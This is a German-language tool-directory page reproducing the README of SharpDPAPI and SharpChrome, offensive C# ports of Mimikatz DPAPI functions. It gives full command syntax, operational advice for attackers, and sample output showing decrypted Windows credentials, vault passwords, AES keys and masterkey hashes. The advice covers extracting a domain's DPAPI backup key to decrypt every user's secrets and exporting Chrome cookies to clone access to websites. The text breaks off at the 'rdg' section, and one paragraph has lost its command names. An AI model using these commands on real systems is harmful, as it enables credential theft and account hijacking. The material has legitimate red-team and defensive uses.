Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
SharpDPAPI — SharpDPAPI ist ein C#-Port von einigen Mimikatz DPAPI-Funktionen. | Kitploit
Tools/GitHubGitHub/ghostpack/sharpdpapi
Passwort-CrackingVerschlüsselungs-/EntschlüsselungstoolsExploitationDatenexfiltrationPost-ExploitationPenetrationstestsRed Teaming
GitHubghostpack/sharpdpapi

SharpDPAPI

SharpDPAPI ist ein C#-Port von einigen Mimikatz DPAPI-Funktionen.

Repository anzeigen
1.4k249vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SharpDPAPI


SharpDPAPI ist ein C#-Port einiger DPAPI-Funktionen aus dem Mimikatz-Projekt von @gentilkiwi.

Ich habe diese Logik nicht entwickelt, es handelt sich lediglich um einen Port von Mimikatz, um den Prozess besser zu verstehen und ihn für unseren Workflow zu operationalisieren.

Das Unterprojekt SharpChrome ist eine Adaption der Arbeiten von @gentilkiwi und @djhohnstein, insbesondere seines SharpChrome-Projekts. Diese Version von SharpChrome verwendet jedoch eine andere Version der C# SQL-Bibliothek, die das sperrfreie Öffnen unterstützt. SharpChrome wird aufgrund der Größe der verwendeten SQLite-Bibliothek als separates Projekt innerhalb von SharpDPAPI erstellt.

Sowohl Chrome als auch neuere Chromium-basierte Edge-Browser können mit SharpChrome durchsucht werden.

SharpChrome verwendet außerdem eine minimierte Version von @AArnott's BCrypt P/Invoke-Code, der unter der MIT-Lizenz veröffentlicht wurde.

Wenn Sie mit DPAPI nicht vertraut sind, lesen Sie diesen Beitrag für weitere Hintergrundinformationen. Für weitere Informationen zu Anmeldeinformationen und Tresoren in Bezug auf DPAPI lesen Sie Benjamins Wiki-Eintrag zu diesem Thema.

@harmj0y ist der Hauptautor dieses Ports.

SharpDPAPI ist unter der BSD-3-Clause-Lizenz lizenziert.

Inhaltsverzeichnis

  • SharpDPAPI
    • Inhaltsverzeichnis
    • Hintergrund
      • SharpDPAPI-Befehlszeilenverwendung
      • SharpChrome-Befehlszeilenverwendung
      • Operative Nutzung
        • SharpDPAPI
        • SharpChrome
    • SharpDPAPI-Befehle
      • Benutzer-Triage
        • masterkeys
        • credentials
        • vaults
        • rdg
        • keepass
        • certificates
        • triage
      • Maschinen-Triage
        • machinemasterkeys
        • machinecredentials
        • machinevaults
        • certificates /machine
        • machinetriage
      • Sonstiges
        • ps
        • blob
        • backupkey
        • search
        • SCCM
    • SharpChrome-Befehle
      • logins
      • cookies
      • statekeys
      • backupkey
    • Kompilieranweisungen
      • Andere .NET-Versionen anvisieren
      • Nebenbei: Ausführen von SharpDPAPI über PowerShell
        • Nebenbei Nebenbei: Ausführen von SharpDPAPI über PSRemoting

Hintergrund

SharpDPAPI-Befehlszeilenverwendung

root@kitploit:~
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.20.0

Abrufen des DPAPI-Backup-Schlüssels eines Domänencontrollers, optional mit Angabe eines DC und einer Ausgabedatei:

  SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Der *search*-Befehl durchsucht nach potenziellen DPAPI-Blobs in der Registry, in Dateien, Ordnern und Base64-Blobs:

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]


Maschinen-/SYSTEM-Triage:

    machinemasterkeys       -   Durchsucht alle erreichbaren Maschinen-Masterkey-Dateien (erhöht Rechte auf SYSTEM, um das DPAPI_SYSTEM LSA-Geheimnis abzurufen)
    machinecredentials      -   Verwendet 'machinemasterkeys' und durchsucht dann Maschinen-Anmeldeinformationsdateien
    machinevaults           -   Verwendet 'machinemasterkeys' und durchsucht dann Maschinen-Tresore
    machinetriage           -   Führt die Befehle 'machinecredentials' und 'machinevaults' aus


Benutzer-Triage:

    Argumente für den Befehl 'masterkeys':

        /target:FILE/folder     -   Durchsucht einen bestimmten Masterkey oder einen Ordner voller Masterkeys (andernfalls werden lokale Masterkeys durchsucht)
        /pvk:BASE64...          -   Verwendet eine base64-kodierte DPAPI-Domänen-Private-Key-Datei, um zuerst erreichbare Benutzer-Masterkeys zu entschlüsseln
        /pvk:key.pvk            -   Verwendet eine DPAPI-Domänen-Private-Key-Datei, um zuerst erreichbare Benutzer-Masterkeys zu entschlüsseln
        /password:X             -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem Klartext-Passwort (funktioniert remote)
        /ntlm:X                 -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem NTLM-Hash (funktioniert remote)
        /credkey:X              -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem DPAPI-Credkey (Domänen- oder lokaler SHA1, funktioniert remote)
        /rpc                    -   Entschlüsselt die Masterkeys des Zielbenutzers, indem der Domänencontroller darum gebeten wird
        /server:SERVER          -   Durchsucht einen entfernten Server, unter der Annahme von Administratorzugriff
        /hashes                 -   Gibt die 'Hashes' der Benutzer-Masterkey-Datei im JTR/Hashcat-Format aus (keine Entschlüsselung)


    Argumente für die Befehle credentials|vaults|rdg|keepass|triage|blob|ps:

        Entschlüsselung:
            /unprotect          -   Erzwingt die Verwendung von CryptUnprotectData() für die Befehle 'ps', 'rdg' oder 'blob'
            /pvk:BASE64...      -   Verwendet eine base64-kodierte DPAPI-Domänen-Private-Key-Datei, um zuerst erreichbare Benutzer-Masterkeys zu entschlüsseln
            /pvk:key.pvk        -   Verwendet eine DPAPI-Domänen-Private-Key-Datei, um zuerst erreichbare Benutzer-Masterkeys zu entschlüsseln
            /password:X         -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem Klartext-Passwort (funktioniert remote)
            /ntlm:X             -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem NTLM-Hash (funktioniert remote)
            /credkey:X          -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem DPAPI-Credkey (Domänen- oder lokaler SHA1, funktioniert remote)
            /rpc                -   Entschlüsselt die Masterkeys des Zielbenutzers, indem der Domänencontroller darum gebeten wird
            GUID1:SHA1 ...      -   Verwendet einen oder mehrere GUID:SHA1-Masterkeys zur Entschlüsselung
            /mkfile:FILE        -   Verwendet eine Datei mit einem oder mehreren GUID:SHA1-Masterkeys zur Entschlüsselung

        Zielsetzung:
            /target:FILE/folder -   Durchsucht einen bestimmten 'Credentials'-Ordner, eine '.rdg|RDCMan.settings'-Datei, einen 'blob'-Speicherort oder einen 'ps'-Dateipfad oder einen 'Vault'-Ordner
            /server:SERVER      -   Durchsucht einen entfernten Server, unter der Annahme von Administratorzugriff
                                    Hinweis: Muss mit /pvk:KEY oder /password:X verwendet werden
                                    Hinweis: Nicht anwendbar auf die Befehle 'blob' oder 'ps'


Zertifikats-Triage:

    Argumente für den Befehl 'certificates':
        /showall                                        -   Zeigt alle entschlüsselten privaten Schlüsseldateien an, nicht nur die, die mit installierten Zertifikaten verknüpft sind (Standard)
        /machine                                        -   Verwendet den lokalen Maschinen-Zertifikatsspeicher für die Zertifikats-Triage
        /mkfile | /target                               -   Für /machine-Triage
        [alle Entschlüsselungsargumente von der Benutzer-Triage oben]


Hinweis: Verwenden Sie in den meisten Fällen einfach *triage*, wenn Sie auf DPAPI-Geheimnisse eines Benutzers abzielen, und *machinetriage*, wenn Sie auf SYSTEM-DPAPI-Geheimnisse abzielen.
      Diese Funktionen bündeln alle anderen anwendbaren Funktionen, die automatisch ausgeführt werden können.

SharpChrome-Befehlszeilenverwendung

root@kitploit:~
  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_
                |
  v1.9.0


Abrufen des DPAPI-Backup-Schlüssels eines Domänencontrollers, optional mit Angabe eines DC und einer Ausgabedatei:

  SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]


Globale Argumente für die Befehle 'cookies', 'logins' und 'statekeys':

    Entschlüsselung:
        /unprotect          -   Erzwingt die Verwendung von CryptUnprotectData() (Standard für nicht privilegierte Ausführung)
        /pvk:BASE64...      -   Verwendet eine base64-kodierte DPAPI-Domänen-Private-Key-Datei, um zuerst erreichbare Benutzer-Masterkeys zu entschlüsseln
        /pvk:key.pvk        -   Verwendet eine DPAPI-Domänen-Private-Key-Datei, um zuerst erreichbare Benutzer-Masterkeys zu entschlüsseln
        /password:X         -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem Klartext-Passwort (funktioniert remote)
        /ntlm:X             -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem NTLM-Hash (funktioniert remote)
        /prekey:X           -   Entschlüsselt die Masterkeys des Zielbenutzers mit einem DPAPI-Prekey (Domänen- oder lokaler SHA1, funktioniert remote)
        /rpc                -   Entschlüsselt die Masterkeys des Zielbenutzers, indem der Domänencontroller darum gebeten wird
        GUID1:SHA1 ...      -   Verwendet einen oder mehrere GUID:SHA1-Masterkeys zur Entschlüsselung
        /statekey:X         -   Ein entschlüsselter AES-State-Key (vom Befehl 'statekey')

    Zielsetzung:
        /target:FILE        -   Durchsucht eine bestimmte Datei 'Cookies', 'Login Data' oder 'Local State'
        /target:C:\Users\X\ -   Durchsucht einen bestimmten Benutzerordner für einen angegebenen Befehl
        /server:SERVER      -   Durchsucht einen entfernten Server, unter der Annahme von Administratorzugriff (Hinweis: muss mit /pvk:KEY verwendet werden)
        /browser:X          -   Durchsucht 'chrome' (Standard), (Chromium-basiertes) 'edge' oder 'slack'

    Ausgabe:
        /format:X           -   Entweder 'csv' (Standard) oder 'table'-Anzeige
        /showall            -   Zeigt Login-Data-Einträge mit leeren Passwörtern und abgelaufenen Cookies anstatt zu filtern (Standard)
        /consoleoutfile:X   -   Gibt die gesamte Konsolenausgabe in eine Datei auf der Festplatte aus


'cookies'-Befehlsspezifische Argumente:

        /cookie:"REGEX"     -   Gibt nur Cookies zurück, deren Name mit dem angegebenen Regex übereinstimmt
        /url:"REGEX"        -   Gibt nur Cookies zurück, deren URL mit dem angegebenen Regex übereinstimmt
        /format:json        -   Gibt Cookie-Werte im EditThisCookie-JSON-Importformat aus. Am besten zusammen mit einem Regex verwenden!
        /setneverexpire     -   Setzt das Ablaufdatum für ausgegebene Cookies auf jetzt + 100 Jahre (für JSON-Ausgabe)

Operative Nutzung

SharpDPAPI

Eines der Ziele von SharpDPAPI ist es, Benjamins DPAPI-Arbeit so zu operationalisieren, dass sie zu unserem Workflow passt.

Wie genau Sie das Toolset verwenden, hängt davon ab, in welcher Phase eines Engagements Sie sich befinden. Im Allgemeinen unterteilt sich dies in "Habe ich die Domäne kompromittiert oder nicht".

Wenn Administratorrechte (oder gleichwertige) für die Domäne erlangt wurden, kann der DPAPI-Backup-Schlüssel der Domäne mit dem Befehl backupkey (oder mit Mimikatz) abgerufen werden. Dieser private Domänenschlüssel ändert sich nie und kann alle DPAPI-Masterkeys für Domänenbenutzer entschlüsseln. Das bedeutet, dass ein Angreifer mit einem Domänen-DPAPI-Backup-Schlüssel Masterkeys für jeden Domänenbenutzer entschlüsseln kann, die dann verwendet werden können, um alle Tresore/Anmeldeinformationen/Chrome-Anmeldungen/andere DPAPI-Blobs usw. zu entschlüsseln. Der mit dem Befehl backupkey abgerufene Schlüssel kann mit den Befehlen masterkeys, credentials, vaults, rdg oder triage verwendet werden.

Wenn DA-Rechte nicht erlangt wurden, ruft die Verwendung des Mimikatz-Befehls sekurlsa::dpapi die {GUID}:SHA1-Zuordnungen aller geladenen Masterkeys (Benutzer und SYSTEM) auf einem bestimmten System ab (Tipp: Das Ausführen von dpapi::cache nach der Schlüsselextraktion liefert eine schöne Tabelle). Wenn Sie diese Schlüssel in ein Format wie {GUID1}:SHA1 {GUID2}:SHA1... umwandeln, können sie den Befehlen credentials, vaults, rdg oder triage übergeben werden. Dies ermöglicht die Durchsuchung aller Anmeldeinformationsdateien/Tresore auf einem System für jeden aktuell angemeldeten Benutzer, ohne dateiweise Entschlüsselungen durchführen zu müssen.

Alternativ können Sie das Passwort, den NTLM-Hash oder den DPAPI-Prekey eines Zielbenutzers für Benutzerbefehle mit /password:X, /ntlm:X bzw. /prekey:X angeben. Das dpapi-Feld der Mimikatz-Ausgabe von sekurlsa::msv für Domänenbenutzer kann als /prekey verwendet werden, während das sha1-Feld der sekurlsa::msv-Ausgabe für lokale Benutzer als /prekey verwendet werden kann.

Zum Entschlüsseln von RDG/RDCMan.settings-Dateien mit dem Befehl rdg verwendet das Flag /unprotect CryptUnprotectData(), um gespeicherte RDP-Passwörter zu entschlüsseln, wenn der Befehl im Benutzerkontext ausgeführt wird, der die Passwörter gespeichert hat. Dies kann aus einem nicht privilegierten Kontext heraus erfolgen, ohne dass LSASS berührt werden muss. Warum dieser Ansatz nicht für Anmeldeinformationen/Tresore verwendet wird, finden Sie in Benjamins Dokumentation hier.

Für maschinenspezifische DPAPI-Triage führen die Befehle machinemasterkeys|machinecredentials|machinevaults|machinetriage das Maschinenäquivalent der Benutzer-DPAPI-Triage durch. Wenn Sie sich in einem erhöhten Kontext befinden (d.h. Sie benötigen lokale Administratorrechte), erhöht SharpDPAPI die Rechte auf SYSTEM, um das LSA-Geheimnis "DPAPI_SYSTEM" abzurufen, das dann zum Entschlüsseln aller gefundenen Maschinen-DPAPI-Masterkeys verwendet wird. Diese Schlüssel werden dann als Nachschlagetabellen für Maschinenanmeldeinformationen/Tresore usw. verwendet.

Weitere offensive DPAPI-Informationen finden Sie hier.

SharpChrome

SharpChrome ist eine Chrome-spezifische Implementierung von SharpDPAPI, die zur Entschlüsselung/Durchsuchung von Cookies und Logins fähig ist. Aufgrund der Größe der verwendeten SQLite-Bibliothek wird es als separates Projekt in SharpDPAPI erstellt.

Da Chrome-Cookies/Login-Daten ohne CRYPTPROTECT_SYSTEM gespeichert werden, ist CryptUnprotectData() wieder im Spiel. Wenn SharpChrome aus einem nicht erhöhten Kontext ausgeführt wird, versucht es, alle Logins/Cookies des aktuellen Benutzers mit CryptUnprotectData() zu entschlüsseln. Eine /pvk:[BASE64|datei.pvk], {GUID}:SHA1-Nachschlagetabelle, /password:X, /ntlm:X, /prekey:X oder /mkfile:FILE mit {GUID}:SHA1-Werten kann ebenfalls zum Entschlüsseln von Werten verwendet werden. Außerdem unterstützt die verwendete C# SQL-Bibliothek (mit einigen Modifikationen) das sperrfreie Öffnen, was bedeutet, dass Chrome nicht geschlossen werden muss und Zieldateien nicht an einen anderen Ort kopiert werden müssen.

Alternativ können Sie das Passwort, den NTLM-Hash oder den DPAPI-Prekey eines Zielbenutzers für Benutzerbefehle mit /password:X, /ntlm:X bzw. /prekey:X angeben. Das dpapi-Feld der Mimikatz-Ausgabe von sekurlsa::msv für Domänenbenutzer kann als /prekey verwendet werden, während das sha1-Feld der sekurlsa::msv-Ausgabe für lokale Benutzer als /prekey verwendet werden kann.

Wenn Chrome Version 80 oder höher ist, wird ein AES-State-Key in AppData\Local\Google\Chrome\User Data\Local State gespeichert – dieser Schlüssel ist mit DPAPI geschützt, sodass wir CryptUnprotectData()/pvk/Masterkey-Nachschlagetabellen verwenden können, um ihn zu entschlüsseln. Dieser AES-Schlüssel wird dann verwendet, um neue Cookie- und Login-Data-Einträge zu schützen. Dies ist auch der Prozess, wenn /browser:edge oder /browser:brave angegeben wird, für die Durchsuchung neuerer Chromium-basierter Edge-Browser.

Standardmäßig werden Cookies und Logins als CSV angezeigt – dies kann mit /format:table für Tabellenausgabe und mit /format:json speziell für Cookies geändert werden. Die JSON-Option gibt Cookies in einem JSON-Format aus, das in die Chrome-Erweiterung EditThisCookie importiert werden kann, um sie einfach wiederzuverwenden.

Der Befehl cookies verfügt auch über die Argumente /cookie:REGEX und /url:REGEX, um nur Cookie-Namen oder URLs zurückzugeben, die mit dem angegebenen Regex übereinstimmen. Dies ist nützlich in Kombination mit /format:json, um einfach Zugriff auf bestimmte Websites zu klonen.

Bestimmte Cookie/Login/Statekey-Dateien können mit /target:X angegeben werden, und ein Benutzerordner kann für jeden Durchsuchungsbefehl mit /target:C:\Users\USER\ angegeben werden.

SharpDPAPI-Befehle

Benutzer-Triage

masterkeys

Der Befehl masterkeys durchsucht nach allen lesbaren Benutzer-Masterkey-Dateien und entschlüsselt sie mit einem bereitgestellten Domänen-DPAPI-Backup-Schlüssel. Er gibt eine Menge von Masterkey-{GUID}:SHA1-Zuordnungen zurück.

/password:X kann verwendet werden, um die aktuellen Masterkeys eines Benutzers zu entschlüsseln. Beachten Sie, dass für in die Domäne eingebundene Maschinen das Passwort entweder im Klartext- oder im NTLM-Format angegeben werden kann. Wenn /target auch mit /password angegeben wird, muss auch die /sid:X vollständige Domänen-SID des Benutzers angegeben werden.

Der Domänen-Backup-Schlüssel kann in Base64-Form (/pvk:BASE64...) oder Dateiform (/pvk:key.pvk) vorliegen.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Aktion: Durchsuchen von Benutzer-Masterkey-Dateien

[*] MasterKey gefunden : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] MasterKey gefunden : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Benutzer-Masterkey-Cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

Wenn kein /password oder /pvk angegeben ist, können Sie das Flag /hashes übergeben, um die Masterkey-Hashes im John/Hashcat-Format auszugeben. In diesem Modus werden die Hashes im Format {GUID}:DPAPImk ausgegeben.

Der Preferred-Schlüssel wird ebenfalls analysiert, um den aktuell bevorzugten Masterkey hervorzuheben, damit keine Mühe auf das Knacken älterer Schlüssel verschwendet wird.

root@kitploit:~
C:\Temp>SharpDPAPI.exe masterkeys /hashes

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Aktion: Benutzer-DPAPI-Masterkey-Datei-Triage

[*] Werde Benutzer-Masterkey-Hashes ausgeben

[*] MasterKey gefunden : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] MasterKey gefunden : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] Bevorzugte Masterkeys:

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a


[*] Benutzer-Masterkey-Hashes:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...

credentialsDer Befehl sucht nach Anmeldedatendateien und entschlüsselt diese entweder a) mit übergebenen „{GUID}:SHA1“-Masterschlüsseln, b) mit einer -Datei mit einer oder mehreren {GUID}:SHA1-Masterschlüsselzuordnungen, c) mit einem bereitgestellten DPAPI-Domänen-Backup-Schlüssel ( oder ), um zunächst alle Benutzer-Masterschlüssel zu entschlüsseln (analog zu ), oder d) mit einem , um alle Benutzer-Masterschlüssel zu entschlüsseln, die dann als Nachschlagetabelle für die Entschlüsselung verwendet werden. DPAPI-GUID-Zuordnungen können mit Mimikatz' -Befehl wiederhergestellt werden.

Eine bestimmte Anmeldedatendatei (oder ein Ordner mit Anmeldedaten) kann mit /target:FILE oder /target:C:\Folder\ angegeben werden. Wenn eine Datei angegeben wird, sind {GUID}:SHA1-Werte erforderlich. Wenn ein Ordner angegeben wird, müssen entweder a) {GUID}:SHA1-Werte bereitgestellt werden oder b) der Ordner muss DPAPI-Masterschlüssel enthalten und ein /pvk-Domänen-Backup-Schlüssel muss bereitgestellt werden.

Wenn der Befehl in einem erhöhten Kontext ausgeführt wird, werden Anmeldedatendateien für ALLE Benutzer ausgewertet, andernfalls werden nur Anmeldedatendateien für den aktuellen Benutzer verarbeitet.

Verwendung von Domänen-{GUID}:SHA1-Masterschlüsselzuordnungen:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Aktion: Benutzer-DPAPI-Anmeldedatenauswertung

[*] Werte Anmeldedaten für ALLE Benutzer aus

Ordner       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredDatei           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    beschreibung      : Lokale Anmeldedaten

    LastWritten      : 22.01.2019 02:44:40
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(gekürzt)...

Verwendung eines DPAPI-Domänen-Backup-Schlüssels, um zunächst alle auffindbaren Masterschlüssel zu entschlüsseln:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Aktion: Benutzer-DPAPI-Anmeldedatenauswertung

[*] Verwende einen DPAPI-Domänen-Backup-Schlüssel, um Masterschlüssel für Entschlüsselungsschlüsselzuordnungen auszuwerten!

[*] Benutzer-Masterschlüssel-Cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(gekürzt)...

[*] Werte Anmeldedaten für ALLE Benutzer aus

Ordner       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredDatei           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    beschreibung      : Lokale Anmeldedaten

    LastWritten      : 22.01.2019 02:44:40
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(gekürzt)...

vaults

Der Befehl vaults sucht nach Tresoren und entschlüsselt diese entweder a) mit übergebenen „{GUID}:SHA1“-Masterschlüsseln, b) mit einer /mkfile:FILE-Datei mit einer oder mehreren {GUID}:SHA1-Masterschlüsselzuordnungen, c) mit einem bereitgestellten DPAPI-Domänen-Backup-Schlüssel (/pvk:BASE64... oder /pvk:key.pvk), um zunächst alle Benutzer-Masterschlüssel zu entschlüsseln (analog zu masterkeys), oder d) mit einem /password:X, um alle Benutzer-Masterschlüssel zu entschlüsseln, die dann als Nachschlagetabelle für die Entschlüsselung verwendet werden. DPAPI-GUID-Zuordnungen können mit Mimikatz' sekurlsa::dpapi-Befehl wiederhergestellt werden.

Der Ordner Policy.vpol im Tresorordner wird mit allen bereitgestellten DPAPI-Schlüsseln entschlüsselt, um die zugehörigen AES-Entschlüsselungsschlüssel abzurufen, mit denen dann alle zugehörigen .vcrd-Dateien entschlüsselt werden.

Ein bestimmter Tresorordner kann mit /target:C:\Folder\ angegeben werden. In diesem Fall müssen entweder a) {GUID}:SHA1-Werte bereitgestellt werden oder b) der Ordner muss DPAPI-Masterschlüssel enthalten und ein /pvk-Domänen-Backup-Schlüssel muss bereitgestellt werden.

Verwendung von Domänen-{GUID}:SHA1-Masterschlüsselzuordnungen:

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Aktion: Benutzer-DPAPI-Tresorauswertung

[*] Werte Tresore für ALLE Benutzer aus

[*] Werte Tresorordner aus: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    beschreibung      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 12.10.2018 12:10:42
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(gekürzt)...

Verwendung eines DPAPI-Domänen-Backup-Schlüssels, um zunächst alle auffindbaren Masterschlüssel zu entschlüsseln:

root@kitploit:~
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Aktion: DPAPI-Tresorauswertung

[*] Verwende einen DPAPI-Domänen-Backup-Schlüssel, um Masterschlüssel für Entschlüsselungsschlüsselzuordnungen auszuwerten!

[*] Benutzer-Masterschlüssel-Cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(gekürzt)...

[*] Werte Tresore für ALLE Benutzer aus

[*] Werte Tresorordner aus: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    beschreibung      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 12.10.2018 12:10:42
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(gekürzt)...

Verwendung eines DPAPI-Domänen-Backup-Schlüssels mit einem angegebenen Ordner (d.h. "Offline"-Auswertung):

root@kitploit:~
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Aktion: Benutzer-DPAPI-Tresorauswertung

[*] Verwende einen DPAPI-Domänen-Backup-Schlüssel, um Masterschlüssel für Entschlüsselungsschlüsselzuordnungen auszuwerten!

[*] Benutzer-Masterschlüssel-Cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(gekürzt)...

[*] Ziel-Tresorordner: C:\Temp\test\

[*] Werte Tresorordner aus: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    beschreibung      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 20.03.2019 06:03:50
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

